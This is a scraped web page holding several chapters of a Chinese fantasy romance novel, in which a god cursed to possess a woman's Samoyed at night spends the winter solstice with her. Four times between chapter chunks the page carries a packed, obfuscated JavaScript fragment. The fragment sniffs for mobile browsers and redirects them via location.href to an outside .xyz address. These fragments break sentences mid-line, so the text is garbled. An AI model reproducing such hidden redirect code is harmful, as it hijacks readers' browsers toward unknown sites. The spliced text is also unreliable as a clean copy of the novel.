p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755404|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后踢去,被那人躲开了。 “是我,别打。” 黑暗里,那人声线清润,透着些许凉意。 宁咚青疑惑道:“向柯?” “嗯。” 宁咚青睁大了眼睛,觉得很荒谬:“你为什么在我家里?” 她说着就要去开灯,却被向柯按住了手。 宁咚青语气不太好:“干什么,你放开我!” 这人什么毛病,大半夜的为什么会在她家里? 向柯却好像没听见,他稍稍用了点力,让宁咚青挣脱不开他的束缚,淡声道:“别开灯。” “为什么?”宁咚青挣扎数次无果,气得踩了他一脚,“你再不放开我,我就报警了!” 向柯似乎笑了一声:“你这样怎么报警?” 宁咚青有些恼了:“你到底要干什么?” “我没想干什么。”向柯道,“你别开灯就行。” 这人脑子是不是有毛病,宁咚青又抬腿踢了他一脚,向柯吃痛,闷哼了一声,往后撤了一步。 这一动,就有一个毛茸茸的东西擦着宁咚青的手臂而过,向柯似乎也感觉到了,他手劲松了一下,宁咚青抓到时机,猛地甩开他,带着怒气拍了一下灯的开光。 “啪——” 客厅的灯全亮了,强光刺眼,宁咚青眯了一下眼睛。 再次睁开,看清眼前的人的那一刻,她瞳孔无限放大,原地石化。 眼前这人穿着黑色条纹睡衣,面料很光滑,看样子是丝绸材质,睡衣领口还是V领。 刚刚宁咚青被他钳制住的时候,太过大力地挣扎,以至于他睡衣领口的扣子被她蹭开了一颗,大片锁骨就这么暴露在灯光底下。 再加上他头上带着那对耳朵特别仿真,时不时会动一下,还有……身后那一条毛茸茸的在半空中摇来摇去的尾巴…… 宁咚青有点看不懂了。 她指指向柯头上的那对耳朵,又指指他身后的尾巴,欲言又止。 两人就这么无声地对视着。 “你……怎么穿成这样?” 宁咚青率先打破僵局,话问出口,她才反应过来重点抓错了,又道:“不对,你为什么会在我家里?” 向柯没回答,他一会抬头看天花板,一会低头看地,就是不看宁咚青。 宁咚青推了他一下:“说话。” 向柯垂眸看她,张了张嘴,却又不知道从何说起,也不知道该怎么和她解释,最终只得长叹一口气。 喝酒误事啊啊啊!!!!! 宁咚青见他不出声,折回房间拿出手机,挡着他的面按了110,“你要是不说的话我就报警了,告你衣冠不整私闯民宅。” “别报。” 向柯抓住她要按下拨通键的手,“我说。” 宁咚青一挑眉,将手机熄屏,双手抱胸好整以暇地看着他:“说吧。” 向柯揉了揉太阳穴:“我想想。” 这一想便想了有十分钟,夜晚的凉意都顺着裤脚爬上身了,宁咚青催他:“快点。” 向柯“嗯”了声,然后转身,弯下腰和她对视。 宁咚青有一瞬间的愣神,她垂下手臂,往后退了一步,警惕道:“你干什么?” 只见向柯将手背到身后,抓住那条摇来晃去的尾巴,将它扯到跟前,对宁咚青说:“摸。” 宁咚青愣道:“什么?” “你摸。”向柯重复了一遍,“它是真的。” 8. 第 8 章 宁咚青被他这一番动作整的有点懵,“摸,摸什么?” 向柯抓着手里的尾巴往前一递:“摸尾巴。” 宁咚青把手背在身后,她不摸,感觉好奇怪。 “你先解释为什么会在我家里。” “行吧。”向柯道把尾巴放下,绷着脸,“我在你家里是因为你的狗被我附身了。” 宁咚青眼角一抽:“哈?” “你不是感觉你的狗一到晚上就变了个样子吗?”向柯面无表情,“因为变成我了。” 宁咚青艰难地消化了一下这两句话,然后转身看了一圈客厅,喊道:“宁国庆?” “都说了它被我附身了。”向柯又抓了身后的尾巴,“这个就是它的尾巴,不信你摸。” 宁咚青试探着摸了一把,发现居然还真是宁国庆的,她肯定还在梦里,宁咚青偷偷咬了下舌尖,立刻传来细密的疼痛。 是她疯了还是他疯了? 宁咚青斟酌了一下措辞:“所以你……呃,为什么会附身到我的狗身上?” 这个世界真的有超能力啊?原来小说里都是真的?!宁咚青伸出手,用指尖轻轻掩住了嘴唇,表示自己的震惊。 这样一来,向柯会莫名其妙接近她也能解释得通了,任谁大晚上突然附身到一只狗身上都得找找原因吧? “还有,你是说前两天也附身在宁国庆身上了?那你晚上也变成人了?” 她记得昨天晚上她还强行抱着宁国庆睡觉来着……老天! 向柯:“……没有,今天是意外。” 估计是下午喝太多樱桃酒的原因,但谁能想到喝多了酒他就会变成这副鬼样子啊! 向柯烦躁地薅了一把头上的耳朵,尾巴上的毛也跟着炸了。 “至于为什么会附身到狗身上,很复杂,我长话短说。” 宁咚青点了点头。 向柯:“简单来说,这是一个人神共存的世界,你是人,我是神。” 宁咚青:“……” 她觉得自己的认知受到了冲击。 向柯见她没什么反应,默认她接受良好,继续说,“每个神都有不同的职业,我负责渡亡灵,化怨气,接引每个亡灵去到他们该去的地方。” “神有法力,但也会有禁忌,触碰了红线就会被天道惩罚。” 宁咚青问:“所以附身到宁国庆身上,是天道对你的惩罚?” 向柯:“嗯。” “那你现在还有法力吗?” “没了。” 宁咚青试探地问:“你犯什么事了?” 向柯的表情在她问出话的时候有一瞬间的裂开,宁咚青感受到了一股深深的怨气。 “遇见你。” 宁咚青:“?” 这里面还有她的事呢? “那天我踹了凶手一脚之后你跑了。”向柯道,“天道应该觉得是我救了你。” “救人一命胜造七级浮屠啊。”宁咚青不理解,“这都罚?” 向柯耸耸肩,“人各有命,神不能插手。” 宁咚青道:“那这个惩罚要持续多久?” 向柯:“不清楚,山神说是因为我和这只狗有点关系,所以惩罚才是附到它身上,要想结束惩罚,就要得先知道天道为什么会这样惩罚我,然后赎罪,但是……” “但是宁国庆和你并没有什么关系吧?” “目前看来是没有。” 宁咚青:“你就是为了这个才接近我和宁国庆的?” 向柯:“嗯。” 否则他一辈子都不想和任何活人有交集。 “这个惩罚结束不了会有什么后果?” “死。” “哇,那是很严重啊。”宁咚青看着向柯,“冒昧地问一句,你活多久了?” 向柯低头捏着狗尾巴,心不在焉,“两三千年了吧,记不清了。” 宁咚青打量了眼前的男人一番,“那您老人家还真是青春永驻啊。” 向柯不置可否,他似乎是站累了,抬腿走到坐到沙发旁坐下,拿过抱枕抱在怀里,下了逐主人令:“没什么问题的话,我要睡觉了,你回房吧。” 宁咚青走过去,抽走了他怀里的抱枕:“你打算以后都待在我家啊?” “不待也行,你在天黑之前把宁国庆送到我家,这样我就不会来了。” 向柯微微仰起头和宁咚青对视。 “不可能,宁国庆和你待一起我不放心。” 宁咚青重新把抱枕扔给他,她没法相信一个无证还酒驾的人,忒不靠谱了。 向柯一摊手:“那就先这样?” 目前也没什么办法,宁咚青叹了口气:“也只能这样了。” “对了。”在宁咚青回房前,向柯又叫住她,“能给我拿张舒服干净暖和的被子吗,晚上有点冷,最好带点洗衣液香味的,没有也没关系。” 宁咚青:“……” 年纪大的就是事多。 宁咚青从衣柜里翻了张大花被子出来,也没管向柯极度嫌弃的眼神,劈头盖脸扔给他后就回房睡觉了。 今天真是折腾得够呛,宁咚青闭着眼睛躺在床上复盘了所发生的一系列的事,感觉到身心俱疲。 不知过去了多长时间,像是一秒,又像是很久很久,宁咚青感觉到有东西在蹭自己的脸,毛茸茸的。 她伸手在虚空中抓了一把,抓到了一条尾巴,宁咚青猛地睁开眼睛。 天已经亮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755405|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宁国庆坐在床边歪着脑袋看她,宁咚青松了一口气,薅了把它软乎乎的毛,“你回来了,真好。” 她打开房门,没有直接去卫生间洗漱,而是去客厅转了一圈,发现那位鬼神少爷已经走了。 那一床大花被子被他叠成了方方正正的豆腐块,摆在沙发的一角。 …… 宁咚青洗漱好后拿上煮好的红薯和鸡蛋,便牵着宁国庆出门,一出楼梯口,就看见那辆熟悉的黑车。 向柯似乎也看见了她,他打开车门从副驾的位置上下来,开口就是,“今天早餐吃什么?” 宁咚青将手里多余的一份早餐递给他:“喏。” “谢谢。” 向柯接过早餐,问,“你现在要去溜狗吗?” “嗯。”宁咚青点点头,“一起?” 向柯自然是乐意的,他现在没事情做,恨不得二十四小时都和这只萨摩耶待在一起。 两人走在步行街道上,清晨拂面而来的风很舒服,一路上大多都是晨跑的人。 宁咚青率先挑起了话题:“我们以前见过吗?” 向柯看她:“为什么这么问?” “你不是说找不到和宁国庆的联系吗?”宁咚青看着跑在他们前面撒欢的小狗,“我捡到它的时候它才一丁点大,从那以后我们几乎没有分开过。” “我在想,会不会是因为我们以前见过,可能我们都没有印象了,但我和你之间却产生了某种联系,所以你才会附身到我的狗身上。” 宁咚青说:“说是附身,不就相当于给你下了道禁制,让你晚上的时候离不开狗的身体。” 就像是一道牢笼,让他晚上的时候离不开。 这倒是他以前从未想过的方向。 向柯问:“你记忆有过缺失吗?” 宁咚青摇了摇头:“没有,但是活了这么多年,我不可能将生活中每一件事,每一个人都清楚地记在脑子里。” 人的一生,都在不停地遗忘,又不停地记忆。 向柯的视线追寻着跑在前面的宁国庆,沉默了。 宁咚青给他提供了一个新思路,如果说宁国庆是一道枷锁,那天道为什么要在晚上的时候锁住他呢? 只是因为那天夜晚他踹了凶手一脚,让宁咚青有机会逃走吗? 可当时他能察觉到警察距离老城区已经很近了,就算没有他,宁咚青也不是必死的结局。 这么说来,他其实也不算是干预了宁咚青的生死,这本是一件无伤大雅的小事,按理说扣点香火也就过去了,但事实上降临在他身上的惩罚很重,不仅被剥夺了法力,还被束缚住了自由。 如果那天晚上被追杀的人不是宁咚青……他还会失去法力吗? 9. 第 9 章 两人没再说话,沉默着溜了宁国庆一圈又一圈,直到宁国庆一屁股坐在地上不走了,宁咚青轻车熟路地将宁国庆抱起来抗在肩上,准备抬回家。 很大的一只狗压在她轻薄的肩上,几乎覆盖住了她半个身子。 向柯上前扶了一把,“我帮你抱?” 宁咚青的声音从狗毛里传出来,闷闷的,“不用,我扛得动。” “我帮你照顾它吧?” 向柯用手摸了摸宁国庆的头,它立刻转过来对着他笑,真的好可爱。 宁咚青仍旧拒绝他:“不行。” “我一定会照顾好它的。”向柯跟在她身后逗宁国庆,很欠地用手轻轻捏它的嘴筒子,“再说现在这种特殊情况,你也不放心它一个人在家吧?” 宁咚青想到了昨天那行血字,一下子停住了脚步,转过身,从狗毛里抬起脸:“行,但是你要随时向我报备。” 向柯拿出手机:“加个微信?” 宁咚青点点头,从包里掏出手机扫了他的二维码。 …… “你报驾校了吗?” 两人往回走的途中,宁咚青问向柯,她说:“在你驾照学出来之前我来开车吧?” “报了。”向柯道,“不过我有司机,不麻烦你开,当然,如果你想开的话也可以。” 这几天相处下来,宁咚青发现他这个人意外地好说话,第一次见面的时候她还以为是什么冷漠无情的bking。 既然有司机,宁咚青自然不会上赶着开车。 被上司临时安排了司机职务的胡秘书坐在驾驶位上等了一个小时,终于载到了这两人一狗。 向柯坐进副驾驶,调好导航,吩咐道,“去这。” 胡秘书点头:“好的,向总。” “向总?”宁咚青挤到作为中间,扭头问向柯,“你还有公司?” 向柯靠在靠背上,半阖上眼睛,“不是公司,就几家店。” 宁咚青问:“开店来做什么?” “当然是赚钱了,不然钱从哪里来?天道给的是香火,又不是人民币。” 宁咚青讪讪一笑,默默往后靠,她一直以为他是被包养的男模来着。 “这么说你又要完成鬼神的工作,又要经营这么多店,忙得过来吗?” 向柯却道:“我不管。” 每个神都会有一个赚钱的体系,他们会雇佣已经化成人的妖精鬼怪,帮助他们赚取所处时代的各个国家所使用的货币,相对的,神会分发给这些精怪们香火,给他们续命。 钟运喜的是酒庄,向柯开了甜品店和民宿。 …… 宁咚青到公司后的第一件事就是将写好的请假条交上去,领导批了以后,她立刻给韩笑笑发消息,和她商量去白溪镇的事。 【希望每天都是星期六】:笑笑,我请好假啦,我们开车去还是坐车? 【我是美女】:要不我们开车吧?我外婆家离南城也不远,开车能把宁国庆也带上。 【希望每天都是星期六】:行。 【我是美女】:我周五过来和你住一晚叭~我们周六吃个早餐就出发,大概下午能到白溪镇。 【希望每天都是星期六】:你的到来会让我的陋室蓬荜生辉。 【希望每天都是星期六】:小狗叼花.jpg 宁咚青和韩笑笑发完消息后,就放下手机去工作了,忙了一上午,直到中午午休的时候,她才打开微信看消息。 向柯真的每个半小时就给她报备一次,准时的可怕。 他每次就给她发一段宁国庆的视频,多余的一个标点符号都没有。 宁咚青一个个点开看,发现宁国庆每次在的地方都不一样。 一会是在湖水边看鱼,一只骨节分明的手抓着它的项圈,以防它一个激动跳下去,一会又是在一棵玉兰树下扑花瓣,一会又在鹅卵石小路上撕咬着一顶虎头帽…… 每个视频的背景都不一样,看样子像个园林。 【希望每天都是星期六】:你带它出去玩啦? 【Xk】:没有,在我家。 【希望每天都是星期六】:? 你家是个园林啊? 像是知道宁咚青心里的疑问,向柯又发了一段视频过来,这次拍的是园林。 他现在应该是在屋里,拍了几扇花窗,园林古典雅致,这些窗子好像把景色框了起来,自成一景。 宁咚青在心中感叹,真是好漂亮。 在这样的环境下,尸体都能开花。 【希望每天都是星期六】:哪个小区啊? 【Xk】:不是小区,我住在这一两千年了。 【希望每天都是星期六】:居然不是文化遗产…… 【Xk】:我家为什么要变成文化遗产? 【希望每天都是星期六】:在南城吗? 【Xk】:不然? 【希望每天都是星期六】:怎么没见过? 按理说有这样的园林早就成网红打卡地了。 【Xk】:之前用法术隐藏了,人类看不到的。 【希望每天都是星期六】:……好吧,宁国庆现在在哪? 【Xk】:在湖心亭吧,我朋友带着它。 【希望每天都是星期六】:你朋友也是神? 【Xk】:嗯,他是考神。 【希望每天都是星期六】:是我理解的哪个考神吗? 【Xk】:是吧。 【希望每天都是星期六】:虔诚一拜.jpg 【Xk】:……迷信 宁咚青才不管他,她继续打字。 【希望每天都是星期六】:你见过财神吗? 【Xk】:见过,一老头。 【希望每天都是星期六】:大胆,居然对我财神爷爷不敬! 【Xk】:…… 【希望每天都是星期六】:你说我拜了财神会不会突然暴富? 【Xk】:不会。 【Xk】:虽说财神管财运,考神掌考运,山神保平安,但什么时候给谁施多大的福泽要听天道的规则来,不然会受惩罚的。 【希望每天都是星期六】:哦。 【希望每天都是星期六】:你能帮我问问财神,什么时候才能轮到我接受这泼天的富贵? 【Xk】:如果一直很穷的话,可能命里无财吧。 【希望每天都是星期六】:你伤害到我了。 【Xk】:^^ 宁咚青朝着屏幕竖了个中指。 【希望每天都是星期六】:祝你科目一不过。 【Xk】:可是考神说让我逢考必过。 【希望每天都是星期六】:不是说不能给人开后门吗?天道会惩罚他的。 【Xk】:对啊,不能给人开,又没说不能给神开。 【希望每天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755406|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是星期六】:……去死吧。 【希望每天都是星期六】:重拳出击.jpg 这时,她点的外卖也到了,宁咚青按灭了屏幕,结束这段聊天,吃完外卖又是忙碌的一下午。 …… 在工位上的每一秒都像是度过煎熬的一年,向柯给她发消息说已经到公司楼下的时候,她忽然被安排了一大堆工作。 宁咚青怀疑是她请了年休假,领导针对她。 【希望每天都是星期六】:我要加班了…… 【Xk】:行,等你。 宁咚青收了手机,走到窗边往楼下看,发现向柯靠在车门上看手机,另一只手里牵着宁国庆。 他们似乎是感觉到了她的视线,不约而同地往上看。 宁咚青一怔。 此时夕阳正好,橘红色的阳光染红了云,或许是这景色太美,她忽然觉得加班带给她的烦躁被一扫而空。 宁咚青回到工位上,劈里啪啦地敲键盘。 等再一次抬起头的时候,天已经黑了,一看手表,居然已是深夜。 她收拾好东西,小跑着下了楼。 外面被夜色侵染,霓虹灯亮起,公路上少有的几辆车开得飞快,路上碰到的寥寥数人皆行色匆匆。 宁咚青无数次在这样的夜晚走出公司大楼,迎接她的是扑面而来的冷风。 这一次却好像变得不一样,她看见一个人牵着一只萨摩耶朝她这边过来,看见它后,那人松了手中的牵引绳,一团雪白便朝她飞奔过来,随后扑进了她怀里。 宁咚青被它撞得往后一仰,她和它玩了一会,等宁国庆那阵兴奋劲儿过去,她蹲在地上,抱住它,将被风吹得冰凉的脸埋进了宁国庆暖融融的毛里。 “你俩在演什么久别重逢的苦情戏吗?” 向柯抱着手立在一旁,“再不走,家里饭菜都要凉了。” 宁咚青抬起脸,仰头看着他,“你做饭了?” “那当然。” 向柯甩了甩手中的车钥匙,抬腿大步流星地往前走,“跟上。” 宁咚青牵起宁国庆跟在他身后,“去哪?” 向柯帮她拉开车门,“我家,吃火锅。” 直到上了车,宁咚青才反应过来,“你今天怎么没有变成狗?” 向柯单手扶着方向盘,扭头和她对视:“刚刚变了,但是现在过了十二点了,又变回来了。” 宁咚青一头雾水:“为什么?” “过了十二点就是冬至啊。” 是团圆的日子。 所以,在这一天,赦百罪。 宁咚青眨了眨眼睛,“也就是说……” 向柯靠过来,帮她系好了安全带,轻声说:“坐稳了。” 他猛地一踩油门,车直接飞了出去。 宁咚青死死抓住车门把手,紧闭着眼睛尖叫:“啊啊啊啊啊,你要死啊——向柯!!!” 向柯淡淡道:“不会出事的,睁眼。” 宁咚青做了好一会儿心理建设,才慢慢睁开眼,周围的一切飞速地往后疾驰。 宁国庆在后座上蹿下跳,看得出来,它很兴奋。 “你开这么快真的不会出事吗?” 宁咚青抓着门把的手已经冒出了冷汗。 向柯不以为意:“怎么可能?” 他话音刚落,车子就冲出了高架桥,滞空的那一秒,宁咚青觉得自己心脏停了。 10. 第 10 章 预想中自己惨白的骨头立马要从血肉里破皮而出的血腥场面并没有出现,宁咚青回过神来的时候,车子已经平稳地行驶在一条新的公路上。 宁咚青拍了拍胸脯,惊魂未定:“你干什么?” 向柯倒是泰然自若,他单手扶着方向盘,还颇有闲心地放了音乐:“抄个近道。” “我心脏病都犯了。” 从高架桥冲下来的时候,感觉就像是蹦极的时候跳下去了发现自己身上没绑绳子,宁咚青全身发软,靠在车门上庆幸劫后余生:“你还以为你年底了要冲KPI,拉着我去送命呢。” 她这把身子骨是经不住这么折腾了。 “抱歉,开太快了,没来及得说。”向柯笑了笑道,“你看窗外。” 宁咚青闻言,就着靠在车门上的姿势扭头,她的脸贴着玻璃,却感受不到冰冷——她从未见过如此漂亮的一条路。 这条路很窄,仅容许一张车通过。 南城一年四季都偏暖,从来没有下过雪,这条路却覆了雪,路边种着柿树,柿子恰如灯笼挂在枝头,小雪片片落于其上,时间一长,压弯了枝头,熟透了柿子往下掉,砸在雪地里,陷进去一个凹槽。 “这是哪?” 宁咚青问道。 “这是两千年前南城的一部分。”向柯道,“以前为了求清净,我便用术法将这一片地藏起来了,时代的变迁没有影响到它,所以还保留着两千年前的样子。” 宁咚青问道:“这一整片都是你家?” “当然。”说完,向柯一抬下巴,“到了。” 宁咚青往前看去,围墙阻隔了她的视线,只能窥见树的枝头。 她下了车,才帮宁国庆打开车门,它就轻车熟路地撒腿跑进了大门,不见了踪影。 宁咚青跟着向柯往里走,一进去,便被这亭台楼阁、飞檐青瓦惊得说不出话来,真是一种无法用语言形容的美,她真真切切体会到了什么叫做移步换景。 “雪是在傍晚下的。”向柯不知从哪变出把伞来撑在她头顶,“还真是应景。” 宁咚青跟着他走过亭桥,竟忘记了寒冷,她拿出手机询问道:“我能拍照吗?” 向柯一摊手:“不能。” “哦。” 宁咚青悻悻收起手机,鼓起了腮帮子。 “开玩笑的。”向柯被她这个样子逗笑,“可以拍。” “真的?” 得到向柯的肯定后,宁咚青立马拿出手机,对着雪景哐哐一顿拍,随后转过头来,眼睛亮亮地问他:“我能发朋友圈吗?” 向柯:“可以啊,不过别人问你这是哪,你怎么说呢?” “也是……那不发了。”宁咚青把手机递给向柯,“帮我拍几张照吧?” 向柯欣然接过手机,站在不同角度拍了几十张,然后颇有自信地把手机还给她,宁咚青看他那样,还抱着必出神图的决心,谁想,手机接过来一看,脸上的笑容瞬间凝固了。 映入眼帘的就是一张丑照,她的脸被他照得黢黑,眼睛还在翻白眼。 宁咚青笑了一下,安慰自己下一张或许不错,然而现实是骨感的,后面的一张更是让她两眼一黑,一米七三的身高被他拍成了一米三,脸也是变形的,像一具被吸了阳气的干尸…… 宁咚青不信邪翻了往后翻了好多张,一张有一张的“惊喜”,她简直怀疑向柯要置她于死地。 偏偏这人还单手插着裤兜,劲劲儿地问她:“还不错吧。” “……” 宁咚青出于礼貌笑了一下:“有些还能P,挺好。” 向柯:“……” 他怎么觉得这话阴阳怪气的。 不知道是不是两个人走的太慢,宁国庆等不及了,去而复返,咬着宁咚青的裤脚拉着她往前跑。 大冬天的,还下着雪,宁咚青硬是出了一身汗。 走进一方庭院里,那里摆了火炉,上面咕嘟咕嘟煮着热气腾腾的火锅。 宁咚青看到地上还蹲了个人,围着炉子煮酒,那人头上戴了顶破烂的虎头帽,宁咚青认出来是宁国庆在视频里咬的那一顶。 “你怎么又跑我家来了。” 向柯瞥了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755407|157696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟运喜,丝毫不掩饰言语间的嫌弃。 “怎么说话呢你。”钟运喜头也不抬,“我这不是怕你一个人住这么大的园子寂寞呗。” 宁国庆和钟运喜玩了一天,早和他混熟了,见到他就朝他冲了过去,抬起前爪扒在他肩上。 钟运喜喂了它一颗肉丸。 “你好啊,我叫钟运喜。”见向柯和宁咚青走过来,他主动介绍道,“是向柯的朋友。” 宁咚青没想到考神居然是个小正太。 然而等他站起来,却和向柯差不多高,脸和身高严重不符。 宁咚青点点头:“你好,宁咚青。” “都坐吧,我快饿死了。” 钟运喜打完招呼,拉了两把椅子出来,向柯和宁咚青坐下后,他迫不及待地拿起酒壶:“都喝酒吧?” 宁咚青点了点头:“喝一杯吧。” 这酒看着很不错。 “好嘞!” 钟运喜给倒了三杯酒,放到他们面前,率先举起酒杯:“来来来,碰一个,冬至快乐!” 酒杯碰撞在一起,发出清脆的响声——直到很久以后,宁咚青还是能想起这一天,这是她过过的最有节日气氛的冬至。 从今往后的每一年,都有人陪她过冬至了。 …… 吃完火锅已是凌晨,向柯问宁咚青:“你要不要在这歇一晚?园子很大,有很多空房间。” 宁咚青摇了摇头:“不麻烦了,我还是回家住吧。” “行。”向柯起身,“我送你。” 宁咚青正想说她自己回去,向柯却一把捞起了在地上扑蚊虫的宁国庆,然后隔着衣服抓住了她的手腕。 宁咚青眼前一黑,下一秒,她就站在了她家门前。 “……” 从小到大都想拥有的瞬移能力,今儿个也是让她体验了一把,圆梦了。 宁咚青把钥匙插进门锁,朝他挥了挥手:“那就……晚安?” 向柯看着她:“晚安。” 等她开了门进去后,听到里面上好小锁的声音,向柯才离开。 11. 第 11 章 可能是晚上受了凉,宁咚青早上起来的时候脑袋昏昏沉沉的,摸出床头柜里放的体温计一量,38.5度。 她艰难地从床上坐起,随便套了身衣服,顶着一头乱蓬蓬的头发到卫生间里洗漱。 冷水从脸上一次次流下,宁咚青清醒了不少,装在包里的手机在这时震动了下。 她随意扯了一条挂在旁边的毛巾擦干手,划开锁屏界面一看,是向柯给她发的消息。 【Xk】:待会吃米线怎么样? 【希望每天都是星期六】:你去吃吧,我在家煮个鸡蛋应付就行 【Xk】:? 【希望每天都是星期六】:发烧了,不想吃东西 【Xk】:家里有药吗? 【希望每天都是星期六】:过期了,等会出去买。 【Xk】:行 宁咚青把手机收起来,洗完刘海后又将昨天沾了一身火锅味的衣服扔进洗衣机,这才去煮鸡蛋。 生病的时候站着都感觉费劲,宁咚青拉了条椅子坐下,垂着头等鸡蛋煮熟。 “叮咚——” 迷迷糊糊中,有人按响了门铃。 宁咚青撑着身体站起来,走过去拉开门,竟然是向柯。 “你怎么来了?” 向柯举起大大小小的袋子:“来关心一下病人。” 宁咚青无声笑笑,侧身让开:“进来吧。” 他买了很多东西,有药有退烧贴,还买了粥、饺子和米线。 ——米线是他给自己买的。 向柯指了指那碗米线:“我能在这吃吗?” “可以啊。”宁咚青道看着茶几上的东西,掏出手机,“这些多少钱,我转你。” 向柯已经拆了卫生筷吃起米线了:“我不要。” 他没地方用钱,也不缺钱,只缺香火。 宁咚青还是给他转了两百块钱,被向柯退回来,他说:“就两张纸,路上看到我都懒得捡的。” 宁咚青:“……” 她额头好像更烫了,有些时候真不怪她仇富。 宁咚青没再坚持,撕了退烧贴的包装,贴在额头上降温,她说:“待会你帮我溜溜宁国庆吧?” “好。”向柯问,“你这样子还要去上班吗?” 宁咚青“嗯”了一声:“昨天才请了年假,再请假领导肯定不会批的。” 向柯:“你要去旅游?” “没有。”宁咚青说,“就去朋友的老家住几天,放松放松。” 向柯:“也是,说不定回来凶手就被枪/毙了。” 宁咚青:“……借你吉言。” - 宁咚青这一整天都不算好过,虽然后面烧退了,但人没什么力气,坐在工位上病恹恹地上了一天班。 晚上回到家,宁咚青仍旧没什么胃口,随便吃了点青菜瘦肉粥就应付过去,她将自己裹在被子里,宁国庆躺在身边打呼噜。 这会还没过十二点,冬至还没过去,宁国庆还是那个宁国庆,并没有被什么奇怪东西附身。 宁咚青把它搂在怀里,安心睡去。 …… 向柯踩着冬至的尾巴处理完了亡灵,十二点的钟声一响,他就来到了宁国庆的身体里。 怎么有点喘不过气? 他艰难地翻了个身,一转头,和宁咚青来了个贴面礼。 “……” 向柯默不作声地将头往后仰,拉开两人之间的距离,宁咚青却跟着他的动作,又一把将萨摩耶搂了过来,相比之前抱得更紧。 向柯被困于方寸之间,有些缺氧,他试图摆脱宁咚青的桎梏,然而并没有什么用,他每动一次,宁咚青就会无意识地将他搂得更紧。 可恶的天道,让他附身在狗身上也就算了,还不让他说话。 向柯挣扎了半天无果,妥协了。 直到后半夜,他发现被窝里温度越来越高了。 向柯被热醒,找了半天热源,发现是搂着他的那人在发烫。 又发烧了? 向柯在床上扭来扭去,试图将宁咚青蹭醒,努力了半天,宁咚青没醒,他自己累出了一身汗。 向柯在心里叹了口气,随后破罐子破摔,拿头去撞宁咚青的脑袋。 宁咚青这一觉睡得很不舒服,不知道是不是鬼压床,总感觉有东西在扒拉她,到了后半夜,她还做了个梦,梦里有人拿着锤子在打地鼠。 哦,她就是那个地鼠。 …… 宁咚青被吓醒了。 她猛地睁开眼,发现宁国庆这个棒槌在砸她的头,宁咚青捧着它的脑袋质问:“你脑子坏掉了?” 向柯有苦说不出,见她醒了立马从床上站起来跑了,宁咚青想去抓它,结果浑身发软,一下从床上坐起来还觉得脑袋发晕,然后又轰一声倒回床上。 从客厅里传来一阵摆弄塑料袋的窸窣声,过了一会,宁咚青看见宁国庆叼着装药的袋子回来了。 宁咚青被烧迷糊了,压根没想起来十二点已经过去,宁国庆现在是被向柯附身的状态,她抱着萨摩耶煤气罐一样的身体,把脸埋进去,喃喃道:“你就是妈妈最心爱的小宝贝,好想亲死你!” 向柯:“……” 你快吃药吧。 宁咚青在它松软的毛里磨蹭了好一会,才把退烧贴贴上,把药一股脑塞嘴里,灌了几大口水后倒头就睡。 不知道过了多久,宁咚青烧终于退了,脑子清醒了许多,却也睡不着了。 她在床上翻来覆去好半天,最后做了一个决定——反正也睡不着,不如起来做点事,比如把宁国庆的澡洗了。 然后披着萨摩耶皮的向柯就被搬到浴室去了,中间曾多次起义被宁咚青选择性无视。 宁国庆的毛又厚又防水,花洒洒在它的毛上,好半天过去,只淋湿了表层的毛。 宁咚青觉得很奇怪,宁国庆非常不爱洗澡,每次洗澡都得费好大劲才能将它按住,但今天却死气沉沉的趴在浴缸里,垂着头,一动不动。 ——像个无助且绝望的发面馒头。 宁咚青浑然不觉,她把萨摩耶全身打湿后,兴冲冲地挤了好几泵沐浴露,洗到一半,她又想听歌,于是冲干净了手上的泡沫,到卧室里拿手机。 几秒之后,向柯听到卧室里传出来一声尖叫。 宁咚青抿着唇,双手背在身后,出现在浴室门口,像个做错事的小孩。 “呃,那个……向柯?” 宁咚青试探性地叫了他一声。 向柯抬起眼睛和她对视,宁咚青从来没有觉得一只萨摩耶的眼神竟如此的……锋利——应该是她的错觉。 她慢吞吞地移到浴缸边,拿起花洒:“既然已经洗了,就先洗完?” 宁咚青看到萨摩耶几不可察地点了下头,它的头始终没有抬起来过。 本来很愉快的一次沐浴,硬是洗得人“狗”俱疲,宁咚青咬着下嘴唇沉默地将萨摩耶用毛巾包住,擦干水珠后,又沉默地插上吹风机帮它吹毛。 